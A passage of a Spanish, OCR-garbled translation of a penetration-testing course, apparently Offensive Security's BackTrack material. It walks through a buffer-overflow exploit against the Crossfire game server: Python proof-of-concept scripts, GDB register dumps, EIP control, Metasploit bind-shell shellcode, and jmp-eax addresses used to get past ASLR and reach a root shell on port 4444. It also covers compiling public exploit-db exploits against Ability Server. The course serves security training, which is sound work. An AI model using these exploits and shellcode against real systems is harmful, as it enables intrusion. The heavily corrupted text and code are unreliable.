Ahora puedeejecutarla secuencia de comandog tratar de conectar conel puerto 4444en la
magquinavictima:

root@bt:~#  ifconfig ethO

ethO Link encap:Ethernet HWaddr 00:50:56:C0:00:08

inet addr:192.168.103.1 Bcast:192.168.103.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fec0:8/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
collisions:0 txqueuelen:1000

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

root@bt:~#  ./ability.py

Sending evil buffer...

root@bt:~# nc -v192.168.103.128 4444

192.168.103.128: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.103.128] 4444 (krb524) open

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985 - 2000 Microsoft Corp.
C:\ abilitywebserver> ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

Connection - specific DNS Suffix . : localdomain
IP Address. ...........:192.168.103.128
SubnetMask . ..........:255.255.255.0
Default Gateway . . .......:192.168.103.2

C:\ abilitywebserver>
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Ha explotado servidorCapacidady ejecutd unshellcodebind-shell,que ha dado
el acceso da maquina de la victima

6.4 La explotacion dedesbordamientos de bufeiLinux
6.4.1Actividadesde ajuste Up

Los conceptos detras déa explotacion dedesbordamientos de bufeen Linux sorsimilares a
los de Windowsplataforma.En esta seccion sexplora elproceso de explotacion daina
aplicacion deLinux un modo multijugador onlineJuego de aventureRPGllamado Crossfire.
Crossfirel.9.0sufridoun desbordamiento de bufersi bien aceptda entradadesde una
conexin de socket.Vasutilizarel BGHLinuxpara depurareste programa,y aunque lasintaxis
de linea de comandoguede parecerextrafioal principig pronto conseguira lacaida de ella
mediante el uso dealgunos comandos simplessDBes un muy potentedepurador. Esta
seccion muestrasélo un pequefio subconjuntode los comandosde GDBque son necesarios
para explotar estaaplicacion

Usted usara sypropia maquinaBackTraclpara ejecutar ekoftwarevulnerabley depurarel
aplicacion Antes de ejecutar esoftwarevulnerableen su instalacién deBackTrackme gustaria
poner en practica uniptablesregla quesélo permiteel trafico de lainterfaz de bucle invertido
para que nohaga supropia maquinavulnerable.

Esta regla seegardel traficoal puerto vulnerabley evitar que otrosse aprovechen desu
BackTracknaquina duranteeste ejercicio:

iptables -AINPUT -ptcp -- destination  -port13327 -d \!1127.0.0.1 - ] DROP

iptables -AINPUT -ptcp -- destination  -port4444 -d \!1127.0.0.1 -] DROP

Nucleos Linuxmas recientesy compiladoresimplementardiversastécnicas de proteccion dda
memoria, como aleatorizacibimemoria, las cookiegle la pila y asi sucesivamentévitar estos
mecanismos de protecciéres mas alla del alcancee este modula Para deshabilitata
signacional azarde pila ASLR}EN su maguinaBackTrackintroduzca el siguiente comando

echo 0 > /proc/sys/kernel/randomize_va_space

Vadke i
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Puede descargar una version precompilada de Crossfire en
http://www.offsec.com/crossfire.tar.gz.

La siguiente prueba deoncepto (PoC) de cddigo se bloqueara la aplicacion Crossfire y
provocar una EIP

#l/usr/bin/python

import socket, sys

host = sys.argv[1]

crash=" \ x41"* 4379

buffer =" \ x11(setup sound " + crash +" \ x90\ x00#"
s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
print "[*]Sending evil buffer..."

s.connect((host, 13327))

data=s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent !"

EjecutarCrossfirebajo GDB,y deje que funcione

root@bt:~#  apt - get install gdb
root@bt:~#  gdb /usr/games/crossfire/bin/crossfire

GNU gdb 6.8 - debian

This GDB was configured as "i486 -linux -gnu"...
(gdb) run

Starting program: /usr/games/crossfire/bin/crossfire

Welcome to CrossFire, v1.9.0
Copyright (C) 1994 Mark Wedel.
Copyright (C) 1992 Frank Tore Johansen.

......... registering SIGPIPE
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Initializing plugins

Plugins directory is /usr/games/crossfire/lib/crossfire/plugins/
- > Loading plugin : cfanim.so

CFAnim 2.0a init

CFAnim 2.0a post init

- > Loading plugin : cfpyt hon.so

(gdb) continue
Continuing.

CFPython 2.0a init
CFPython 2.0a post init

Waiting for connections...

A continuacion, enviael bafer yGDBIinforma de unfallo de segmentacién

Waiting for connections...

BUG: process_events(): Object without map or inventory is on active list:
mobility (0)

Get SetupCmd:: sound AAAAAAAAAAAAAAAAAA...

[New Thread 0xb765f8c0 (LWP 28076)]

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb765f8c0 (LWP 28076)]

0x41414141 in ?? ()

(gdb)

Lainformaciénse registracomando muestralos estadosregistro:

(gdb) info registers

eax Oxb740cale - 1220490738
ecx 0x0 0

edx 0xbff84760 - 1074247840
ebx 0x41414141 1094795585

esp 0xbff85880 0xbff85880
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ebp 0x41414141 0x41414141

esi 0x41414
edi 0x41414

eip 0x41414

141 1094795585

141 1094795585

141 0x41414141

eflags 0x210286 [ PF SF IF RF ID ]

cs 0x73 115
ss 0x7b 123
ds Ox7b 123
es 0x7b 123
fs 0x0 0

gs 0x33 51

(gdb)
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Observe que eregistro EIRasicomo otros registros)se ha sobrescrito
Vuelca elcontenido de la memoria(100bytes) dela ESP yregistros EAXen GDB

(gdb)  x/100xb $esp

0xbff85880:

0xbff85888:

0xbff85890:

0xbff85898:

0xbff858a0:

0xbff858a8:

0xbff858b0:

0xbff858b8:

0xbff858¢0:

0xbff858¢8:

0xbff858d0:

0xbff858d8:

0xbff858e0:

0x41 0x41 0x41 0x41 O0x41 Ox41 0x41 0x90

0x00 0x6d 0x40 Oxb7 0x50 0x21 0x05 0x08

0x41 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x20 0x9b 0x7b Oxb7 0x3c Oxca 0x40 Oxb7

0x22 0x11 0x00 0x00 0x00 0x00 0x00 0x00

0xc0 0x65 0x76 0x09 0x40 0x6d 0x40 Oxb7

0xc8 0x5b 0xf8 Oxbf 0x14 0x5a 0x f8 Oxbf

0x14 0x5b 0xf8 Oxbf 0x38 0x5d 0x02 0x00

0x01 0x00 0x00 0x00 0x06 0x00 0x00 0x00

0xc8 0x5b 0xf8 Oxbf 0xd8 0xd7 0xOf 0x08

0x40 0x6d 0x40 0xb7 0x00 0x00 0x00 0x00

0x14 0x5a 0xf8 Oxbf 0x94 0x5a 0xf8 Oxbf

0xa0 0xd7 Oxl1la 0x08

(gdb)  x/100xb $eax

0xb740cale

1 0x73 0x65 0x74 0x75 0x70 0x20 0x73 Ox6f

okl
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0xb740cal6: 0x75 0x6e 0x64 0x20 0x41 Ox41 0x41 O0x41
Oxb740cale: 0x41 0x41 Ox41 0x41 0x41 Ox41 0x41 O0x41
0xb740ca26: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xb740ca2e: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xb740ca36: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xb740ca3e: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xb740ca46: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
Oxb740cade: 0x41 0x41 0x41 Ox41 0x41 0x41 0x41 0x41
0xb740ca56: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xb740cabe: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xb740ca66: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

Oxb740ca6e: 0x41 0x41 0x41 0x41

(gdb)

Observe gue ekegistro EAXapunta alprincipio del sonidobuffer-configuracion.Convertiresta
cadena parahexsi no estasconvencido.Esto sugiere quaisted puede colocar sucarga Util
(shellcode) en el tampdrubicaciéngque apuntaa EAXy luego encontrar una formgpara saltar a
él. Tdmese su tiempo pargensar en laServidorCapacidadexplotary recordar elrazonamiento
detras dela eleccion dela direccion del remitente]MPESP.

Eligi6 unmétodo indirecto para saltar ala memoria intermedia degue el ejecutablese cargda
una ubicaciénen memoria quecontienebytes nulos y, para aumentar laestabilidad ya que la
aplicaciony elarchivo DLLpuede sercargadoen direcciones diferentes.

En entornosLinux,a menudo son capacesle usarsaltodirecto alas direccionesodificadas de
forma rigida aunque este método puedehacer que elexploit especificopara el medio
ambiente yprobablemente no funcionaréen otro Linuxmaquinas.Las secciones siguientes
inspeccionartanto los métodos directose indirectos dellegar al shellcode.
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6.4.2 Control de EIP

Antes de saltar, primero identifique la ubicacién en la memoria de los 4 bytes que
sobrescribir EIPUsted Ya sabemos que los puntos EAX para el comienzo de la memoria
intermedia, por lo que no hay necesidad dealculos.

Una vez mas, utilice el script MSF pattern_create para generar un Unico-dgEs-largo
tampon y de intercambioque para la original 4379 como. Crashing Crossfire, con GDB,
una vez mas, pone de manifiesto lo siguiente:

Waiting for connections...

BUG: process_events(): Object without map or inventory is on active list:
mobility (0)

Get SetupCmd:: sound Aa0AalAa2Aa3AadAas5AabAatA. ..
[New Thread 0xb75e38c0 (LWP 28405)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb75e38c0 (LWP 28405)]
0x46367046 in ?? ()

(gdb) info registers

eax 0xb7390a0e - 1220998642

ecx 0x0 0

edx Oxbfo9p4050 - 1080344496

ebx 0x31704630 829441584

esp 0xbfob5170 0xbfob5170

ebp 0x35704634 0x35704634

esi 0x46327046 1177710662

edi 0x70463370 1883648880

eip 0x46367046 0x46367046

eflags 0x210286 [ PF SF IF RF ID ]

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs0x00

gs 0x33 51
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(gdb)

El guiénpattern_offsetrevela unalongitud de buferde 4368,antes deEIPse sobrescribe

root@bt:/pentest/exploits/framework3/tools# Jpattern_offset.rb 46367046
4368

root@bt:/pentest/exploits/framework3/tools#

Ahora pruebaesto yarreglarel exploitpara sobreescribiElPcon cuatroB:

#!/usr/bin/python

import socket, sys

host=  sys.argv[1]

crash=" \x 41" * 436x82\x2\ik42\x 420 + ACoO* 7
buffer =" \ x11(setup sound " + crash +" \ x90\ x00#"
s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host, 13327))

data=s.recv(1024)

print  data

s.send(buffer)

s.close()

print "[¥]Payload Sent !"

il ; i
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La ejecucion de esteontra Crossfirebajo GDBrevela lo siguiente:
Waiting for connections...

BUG: process_events(): Object without map or inventory is on active list:
mobility (0)

Get SetupCmd:: sound AAAAAAAAAAAAAAAAAAAAAA..
[New Thread 0xb75b98c0 (LWP 28500)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb75b98c0 (LWP 28500)]
0x42424242in 2?2 ()

(gdb) info registers

eax Oxb7366a0e - 1221170674

ecx 0x00

edx Oxbfeb6d40 - 1075090112

ebx 0x41414141 1094795585

esp Oxbfeb7e60 Oxbfeb7e60

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

edi 0x41414141 1094795585

eip 0x42424242 0x42424242

eflags 0x210282 [ SF IF RF ID |

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

(gdb)

ExcelenteAhora controlar EIPy estan un pasamas cerca dda explotacion dela aplicacion.
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6.4.3Aterrizajedel Shell

La forma mas sencillpara redirigirel flujo de ejecuciorpara saltar au shellcodeseria saltar
directamentea tu shellcode.Retoque el principiodel buffercon 200NOPy colocar unbind
shellde Linux(puerto 4444)en el tampoén

root@bt:/pentest/exploits/framework3# .msfpayload - I |grep linux |grep bind
linux/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
linux/ppc64/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/shell/bind_tcp Listen for a connection, Spawn a command shell (staged)

linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a
command shell

linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
root@b t:./pentest/exploits/framework3# Jmsfpayload linux/x86/shell_bind_tcp C
I

* linux/x86/shell_bind_tcp - 78 bytes

* http://www.metasploit.com

* AutoRunScript=, AppendExit=false, PrependChrootBreak=false,

* PrependSetresuid=false, InitialAutoRunScript=,

* PrependSetuid=false, LPORT=4444, RHOST=,

* PrependSetreuid=false

*/

unsigned char buff] =

"\ x31\ xdb\ xf7 \ xe3\ x53\ x43\ x53\ x6a\ x02\ x89\ xel\ xb0\ x66\ xcd \ x80"
"\ x5b\ x5e\ x52\ x68\ xff \ x02\ x11\ x5¢c\ x6a\ x10\ x51\ x50\ x89\ xel\ x6a"
"\ x66\ x58\ xcd \ x80\ x89\ x41\ x04\ xb3\ x04\ xb0\ x66\ xcd \ x80\ x43\ xb0"
"\ x66\ xcd \ x80\ x93\ x59\ x6a\ x3f \ x58\ xcd \ X80\ x49\ x79\ xf8 \ x68\ x2f"
"\ x2f \ x73\ x68\ x68\ x2f \ x62\ x69\ x6e\ x89\ xe3\ x50\ x53\ x89\ xel\ xb0"
"\ xOb\ xcd \ x80";

root@bt:/pentest/exploits/framework3#
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Actualzar elPOCy afadir en elcédigo shell:

#!/usr/bin/python

import socket, sys

host = sys.argv[1]

shellcode=("  \ x31\ xdb\ xf7 \ xe3\ x53\ x43\ x53\ x6a\ x02\ x89\ xel\ xb0\ x66\ xcd \ x80"
"\ x5b\ x5e\ x52\ x68\ xff \ x02\ x11\ x5¢c\ x6a\ x10\ x51\ x50\ x89\ xel\ x6a"

"\ x66\ x58\ xcd \ x80\ x89\ x41\ x04\ xb3\ x04\ xb0\ x66\ xcd \ x80\ x43\ xb0"

"\ x66\ xcd \ x80\ x93\ x59\ x6a\ x3f \ x58\ xcd \ X80\ x49\ x79\ xf8 \ x68\ x2f"

"\ x2f \ x73\ x68\ x68\ x2f \ x62\ x69\ x6e\ x89\ xe3\ x50\ x53\ x89\ xel\ xb0"

"\ x0b\ xcd \ x80")

crash="\ x90"200 + shellcode + " \ x43" * 4090 + "\ x42\ x42\ x42\ x42" +"D"*7
buffer =" \ x11(setup sound " + crash +" \ x90\ x00#"

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host, 13327))

data=s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent !"

il ; i
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La ejecucion de esteontra Crossfirebajo GDBrevela lo siguiente:

Waiting for connections...

BUG: process_events(): Object without map or inventory is on active list:
mobility (0)

Get SetupCmd:: sound 10+aSCSja°fi[*Rhy  \ jQP&jfXIAfICefY]?...
[New Thread 0xb75fb8c0 (LWP 28701)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb75fb8c0 (LWP 28701)]

0x42424242in 2?2 ()

(gdb) x/300xb $eax

Oxb7ba8ale: 0x73 0x65 0x74 Ox75 0x70 0x20 0x73 Ox6f
0xb7ba8al6: 0x75 Ox6e 0x64 0x20 0x90 0x90 0x90 0x90
Oxb7ba8ale: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
Oxb7ba8ad6 : 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
Oxb7ba8ade: 0x90 0x90 0x90 0x90 0x31 Oxdb Oxf7 Oxe3
Oxb7ba8aeb: 0x53 0x43  0x53 Ox6a 0x02 0x89 Oxel 0xb0
Oxb7ba8aee:  0x66 Oxcd 0x80 Ox5b 0x5e 0x52 0x68 Oxff
Oxb7ba8af6:  0x02 0x11 Ox5c Ox6a 0x10 0x51 0x50 0x89
Oxb7ba8afe:  Oxel Ox6a 0x66 0x58 Oxcd 0x80 0x89 0x41
Oxb7ba8b06: 0x04 0xb3 0x04 0xb0 0x66 Oxcd 0x80 0x43
Oxb7ba8b0e:  0xb0 0x66 Oxcd 0x80 0x93 0x59 Ox6a Ox3f
Oxb7ba8b16: 0x58 Oxcd 0x80 0x49 0x79 0xf8 0x68 0x2f
Oxb7ba8ble: 0x2f 0x73 0x68 0x68 Ox2f 0x62 0x69 Ox6e
0xb7ba8b26: 0x89 0xe3 0x50 0x53 0x89 Oxel 0xb0 0Ox0b
Oxb7ba8b2e: Oxcd 0x80  0x43 0x43 0x43 0x43 0x43 0x43

0xb7ba8b36: 0x43 0x43 0x43 0x43

(gdb)

<t _r;_w
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Redirigirel flujo de ejecuciora Oxb73a8ad6en el momentodel accidentele llevardunos pocos
minutos PON de la céascarale enlace.Utilice esta direcciorestatica de sthazafa yprobarlo.
Vuelva a colocar |8 4 que sobreescribirEIPcon esta direccion.

Ejecucion de la versiofija de lahazafiarevela:

root@bt:~#  ./poc.py 127.0.0.1

[*]Sending evil buffer...

[*]Payload Sent !

root@bt:~# netstat - antp |grep 4444

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 28939/crossfire
root@bt:~# nc -vn 127.0.0.1 4444

(UNKNOWN) [127.0.0.1] 4444 (?) open

Id

uid=0(root) gid=0(root) groups=0(root)

Usted obtieneun shell enel puerto TCP 4444

ol ¢
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6.4.4EvitarASLR

Usted haexplotado con éxitouna vulnerabilidadde desbordamientode bufer enun entorno
Linuxy tiene un lazoshell.Me gustariamejorar en esteexploity tratar de hacerla universapara
el uso especifico

aplicaciénbinario vulnerable.Va aevitar el uso deun estéticocodificadodireccionpara saltara
la NOP deslizarseantes de que ebuffer,y tratar dellegar a lashellcodela misma manera que
lo hizo en elexploitsWindows,a través deun salto indirecto

¢, Comose relaciona esto coifrente ala aleatorizaciérespacio de disefi@ ASLRle forma
aleabria en los espacios de memorigada reinicig anulandoun saltodirecto a la memoria.Por
estarazon habia quedesactivarASLRantes del ejercicicomenzé.

Suponiendo que ebinario vulnerableno fue compiladocon soporteASLRla busqueda dda
direcciondel remitenteen el interiorel binariovulnerableen siasegurara unsaltode confianza
cada vez.

Buscaruna instruccionmp eaxdentro de los binariosLinuxy tener supunto remite a la

en lugar de saltadirectamente a lashellcode.De esta manerasienpre y cuandoel mismo
binario se usaen toda diversasplataformas Linuxel exploitdebe seruniversal:

root@bt:~#  objdump - D /usr/games/crossfire/bin/crossfire |grep "ff e0"
8071ede: ff €0 jmp *%eax

807hb8f8: ff €0 jmp *%eax

8134e77: ff €0 jmp *0peax
813534f: ff 0 jmp *%eax
81354e7: ff €0 jmp *%eax
8135a6f: ff €0 jmp *%eax
8135e2f: ff 0 jmp *%eax

8135fbf: ff e0 jmp *%eax

81419ab:

Utilizando una deestas direccionegn lugar deuna direccion de retornoestaticoestabilizay
evita el exploit ASLRen total, que le da unashell:

root@bt:~#  echo 2 > /proc/sys/kernel/randomize_va_space #re -enable ASLR

root@bt:~# netstat - antp |grep 4444

ol
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root@bt:~#  ./poc.py 127.0.0.1

[*]Sending evil buffer...

#version 1023 1027 Crossfire Server

[*]Payload Sent!

root@bt:~# netstat - antp |grep 4444

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 29331/crossfire
root@bt:~# nc -vn 127.0.0.1 4444

(UNKNOWN) [127.0.0.1] 4444 (?) open

Id

uid=0(root) gid=0(root) groups=0(root)

okl
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7. Mddulo 7: Trabajo conExploits

Este mddulose ocupa dedepurary corregirexploitspublicos para satisfacer susecesidades.
Cruzar compilaciénde exploitstambién se introduce

Objetivos del moédulo
Al final deeste médulq los estudiantesieben:

1. Ser capazle localizar y corregivulnerabilidadesara los entornosde compilacionde
Windowsy Linux.

2. Ser capaz de utilizael compiladorMinGW cruz enBackTraclkpara generarejecutables
3. Ser capaz desustituirde forma inteligenteshellcodeen una explotaciénexistente.
Resumen deactualizaciénse puede encontrar erhttp://www.securityfocus.com/bid

Perforce Multiple Remote Security Vulnerabilities

Linux Kernel 'hfc_usb.c' Local Privilege Escalation Vulnerability

Linux Kernel ‘drivers/scsi/gdth.c' Local Privilege Escalation Vulnerability

CUPS 'Ippasswd' Tool Localized Message String Security Weakness

Mozilla Firefox and SeaMonkey Web Workers Array Data Type Remote Memory
Corruption

ISC BIND 9 DNSSEC Bogus NXDOMAIN  Response Remote Cache Poisoning Vulnerability
ISC BIND 9 DNSSEC Query Response Additional Section Remote Cache Poisoning
Vulnerability

WebWorks Help Multiple Cross Site Scripting Vulnerabilities

Microsoft Windows 2000 Telnet Server DoS Vulnerability

pam_krb5 Existing/Non - Existing Username Enumeration Weakness

Mozilla Firefox XPCOM Utility Chrome Privilege Escalation Vulnerability

Mozilla Firefox and SeaMonkey Proxy Auto - Configuration File Remote Code Execution
Vulnerability

Mozilla Firefox 'document.g etSelect' Cross Domain Information Disclosure

Vulnerability

Mozilla Firefox Download Manager World Writable File Local Privilege Escalation

Vulnerability

Mozilla Firefox and SeaMonkey 'libprOn' GIF Parser Heap Based Buffer Overflow

Vulnerability

Mozilla Fi refox CVE - 2009 - 3382 Remote Memory Corruption Vulnerability

Mozilla NSS NULL Character CA SSL Certificate Validation Security Bypass

Vulnerability

Sun Java SE November 2009 Multiple Security Vulnerabilities

Mozilla Firefox and Seamonkey Regular Expression P arsing Heap Buffer Overflow
Vulnerability

Mozilla Firefox Form History Information Disclosure Vulnerability

Mozilla Firefox CVE - 2009 - 3380 Multiple Remote Memory Corruption Vulnerabilities
Mozilla Firefox and SeaMonkey Download Filename Spoofing Vulnerabili ty
Mozilla Firefox Floating Point Conversion Heap Overflow Vulnerability

GNOME glib Base64 Encoding and Decoding Multiple Integer Overflow Vulnerabilities

Linux Kernel 2.4 and 2.6 Multiple Local Information Disclosure Vulnerabilities

OpenSSL 'ChangeCipherS  pec' DTLS Packet Denial of Service Vulnerability

Linux Kernel with SELinux 'mmap_min_addr' Low Memory NULL Pointer Dereference
Vulnerability

GNU ed File Processing 'strip_escapes()' Heap Overflow Vulnerability
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Linux Kernel 'nfs4_proc_lock()' Local Denial of Service Vulnerability
OpenSSL DTLS Packets Multiple Denial of Service Vulnerabilities

OpenSSL 'dtis1_retrieve_buffered_fragment()' DTLS Packet Denial of Service
Vulnerability

D- Bus 'dbus_signature_validate()' Type Signature Denial of Service Vulnerabili
Linux Kernel eCryptfs Lower Dentry Null Pointer Dereference Local Denial of
Service

Vulnerability

Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability

Wireshark Dissector LWRES Multiple Buffer Overflow Vulnerabilities

Newt Text Box Content Processing Remote Buffer Overflow Vulnerability
OpenSSL Multiple Vulnerabilities

'nfs - utils' Package 'hosts_ctl()' Security Bypass Vulnerability

Red Hat Enterprise Linux OpenSSH 'ChrootDirectory' Option Local Privilege
Escalation

Expat Unspecified XML Pars ing Remote Denial of Service Vulnerability
Linux Kernel 'unix_stream_connect()' Local Denial of Service Vulnerability
Linux Kernel 2.4 and 2.6 Local Information Disclosure Vulnerability

GNU Automake Insecure Directory Permissions Vulnerability

NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability
Linux Kernel r128 Driver CCE Initialization NULL Pointer Dereference Denial of

ty

Service

Linux Kernel '/drivers/net/r8169.c' Out - of - IOMMU Error Local Denial of Service
Vulnerability

MiNBank 'minsoft_ path' Parameter Multiple Remote File Include Vulnerabilities

J. River Media Jukebox '.mp3' File Remote Heap Buffer Overflow Vulnerability

Orb Networks Orb Direct Show Filter MP3 File Divide - By- Zero Denial of Service
Vulnerability

WordPress Calendar Plugin Multiple Cross - Site Scripting Vulnerabilities

WordPress Events Registration with PayPal IPN Component Multiple SQL Injection
Vulnerabilities

Authentium Command On Demand ActiveX Control Multiple Buffer Overflow
Vulnerabilities

Multiple Apple Wireless Produ cts FTP Port Forward Security Bypass Vulnerability

BBSXP 'ShowPost.asp' Cross - Site Scripting Vulnerability

Emweb Wt Multiple Cross Site Scripting and Unspecified Security Vulnerabilities
Microsoft March 2010 Advance Notification Multiple Vulnerabilities

PHP- Nuke 'user.php’ SQL Injection Vulnerability

PHR Nuke Survey Component 'PollID' Parameter SQL Injection Vulnerability
Comptel Provisioning and Activation 'error_msg_parameter' Cross Site Scripting
Vulnerability

Argyll CMS '55 - Argyll.rules' Security Bypass Vulnerability
Fcron 'fcrontab' Symbolic Link Arbitrary File Access Vulnerabilities
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Esto se considera coman dia normalen términos deseguridad de red.Por favor recuerde que
esta listano incluyetodas lasvulnerabilidades encontradasn estafecha sélo losdenunciados.
Muchas vulnerabilidadeson no se inform6 ypueden permanecersin parchedurante afios.Las
operacionessubterraneashackersescenaen privado0 dias(alias) hazafnasEstos sorexploits
paravulnerabilidades queno han sidopublicadoso explotadospublicamentetodavia.

En muchas ocasionedas hazafasle PoCes liberadojunto con un avisopublico. Eldebate
filosoficode silos cédigos deliberacion dePoCtiene un efecto positivoo negativo estad mas
alla delalcance de este maodlo.

7.1 Buscando unExploiten BackTrack

7.1.1Capacidad deejemplo del servidor

Después de identificala vulnerabilidadsu primera tareaes tratar deencontrarel codigo de
explotacionpertinente que puedenpermitir paraacceder o controlarde otro modo la victima
Por ahora supongamosgue usted sabe corcerteza que unWindows XPSP2maquina con
direccionlP 192.168.9.12sta ejecutando una versidkulnerabledel servidor deHabilidad.
Ignora elhecho de que haescritoel cédigo de explotacionde su cuenta,y en lugar deexplorar
el codigo de otras personas.

BackTraclcontiene unrepositorio grande hazafaen lashazafiaspentest/ / / directorio exploit
db.

Ahora buscaun exploit,compilarlo yejecutarlocontrala victima:

root@bt:/pentest/exploits/exploitdb# grep Ability files.csv
588; platforms/windows/remote/588.py ;"Ability Server <= 2.34 (STOR) Remote Buffer
Overflow

Exploit";2004 - 10- 21;muts;windows;remote;21
592; platforms/windows/remote/592.py ;"Ability Server <= 2.3 4 (APPE) Remote Buffer
Overflow

Exploit";2004 - 10- 23;KaGra;windows;remote;21

618; platforms/windows/remote/618.c ;"Ability Server 2.34 FTP STOR Buffer Overflow
Exploit (Unix

Exploit)";2004 - 11- 07;NoPhOBiA;windows;remote;21

693; platforms/windows/remote/693.c ;"Ability Server <= 2.34 Remote APPE Buffer

Overflow Exploit";2004 -

12- 16;darkeagle;windows;remote;21

ol ¢
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Usted ha encontradovarios codigosexploit, pero que se debe utilizar?/arias versionesan
sido escritas par@ompilacidonbajo el sistemaoperativo Windows mientras que otroshan
escritopara su compilaciéren Linux.puede identificar elentorno de compilacionmediante la
inspeccion delas cabeceragddigo de explotacion.

Estas son laipicas de Windowsncabezalos entorno de compilacion

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>

#include <winbase.h>
Estas son latipicascabeceras de Linugel entorno de compilacion

#include <stdio.h>
#include <  stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpal/inet.h>
#include <unistd.h>
#include <netdb.h>

#include <unistd.h>

ol ¢
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En las seccionesiguientes examinafa compilacion delos dostipos de vulnerabilidades de
BackTrack.

7.1.2CompilaciénExploitsBackTracKk.inux en

Comience conla edicién ycompilacion delexploitbasado en Linux618.c.Después de hacer el
propiado cambios enel cédigo de explotaciéroriginal correccion delongitud de bufer, el
cambio decddigo shell ajustandoRETdireccion y direccion defijacionse unenlP) sélo tiene
gue compilar este archivo usandd@sCC:

bt exploitdb # cp /platforms/windows/remote/618.c /tmp/
bt exploitdb # cd tmp/
bttmp#  nano 618.c (we fix the code as appropriate)

bttmp#  gcc - o ability 618.c

Con unaspocascorrecciones adicionales®sta hazafide proporciona unaconchad

Shell - Konsole <4

9,99

. .2600]
Copyright 1985-2001 Microsoft Corp.

C:\abilitywebserversj]

<aoike I
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7.1.3Compilaciénde Windowshazafas erBackTrack

DesdeBackTrack 3ha sidoposible compilarcédigo de Windowsmedio ambiente utilizandoun
compilador cruzado

Usando elcompilador MinGWYy el Ving se puede compilacodigo ventanas queda como
resultado unejecutablePE.

A continuacion, puedeejecutarel binariode Windows PEen Linuxusando Wine.

Una vez mases recesariocorregir el codigg cambielongitudes de bufery, en generalsudar
un poco antes de llegala shell:

bt exploitdb # cp /platforms/windows/remote/693.c /tmp/
bt exploitdb # cd /root/.wine/drive_c/MinGW/bin
bt bin # wine gcc T 0 ability.exe /tmp/693.c T lwsock32

btbin#  wine ability.exe

7,2 Busca£Exploitsen la Web

Localizacion deexploitspublicosen la web esrelativamentefacil desitios web utilizandacomo
foco de Seguridad y

explotardb.com.

o '8
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7.2.1Security Focus
Vulnerabilidadesy exploits() en Security Focuse clasifican poBugtraqID BID).Puede buscar
Ofertas a través dda interfazweb de Security Focus

ile  Edit Wiew

Foundations
Microsoft
Unix

105
Incidents
Virus

» Pen-Test

» Firewalls

» MNewsletters

» Bugtraqg

» Focus on D5
» Focus an Linux

» Focus an Microsoft
» Forensics

» Pen-test

» Security Basic

2 Muln Dev

i

» Job Opportunities
» Resumes

]
Done

History  Bookmarks Tools  Help

ﬁ & hitp:ffwww.securityfocus.com/hit | b | [}] -v| | 1 ]
Vulnerabilities (Page 1 of 7]
Vendor: |r-1i|:|'|:|scuft |
Title: | Windows XP Professional |
Version: | 5p2 |

Search by CVE
CVE! |

Vulnerability

SecurityFocus - Mozilla Firefox

Submit |

Microsoft January 2008 Advance Notification Multiple Vulne
2008 1-01-04
http:/fwww. securityfocus.com/bid/27119

Microsoft Message Queuing Service Stack Buffer Overflow \
2008 1-01-02
http:/fwww. securityfocus.com/bid/26797

Macrovision SafeDisc SecDRV.5YS Method_Neither Local Prin

2007-12-19
http:/fwww. securityfocus.com/bid/26121

Microsoft Windows Insecure Random Number Generator Infi-
G ¥

Personalmenteprefieroutilizar una bisqueda en GooglePor ejempla

Xp sp2 exploit site:securityfocus.com inurl:bid
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Buscacortesde Googlepor el tiempo que necesita pargasarla navegacion e lleva
directamente alBID
requerida

7.2.2Exploitdb.com

Exploitdb.com es un sitiosin fines de lucrajue es bienconocida por subase dedatos de
exploit. Contintael trabajo demilwOrm, que ya no esta activaEl sitio contienenuchos otros
articulosde educaciony seguridadrecursos El sitio cuenta coruna funcién de busquedajue
se puede utilizampara localizarvulnerabilidades

Search

Please enter your search criteria below

Description:
Author:
Platform:

Type:
Fort:
OSVDB:
CVE:
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8. Modulo 8: Transferencia de archivos

Este mddulo presentavariosmétodos de transferenciale archivos entreatacar yequipos de las
victimas

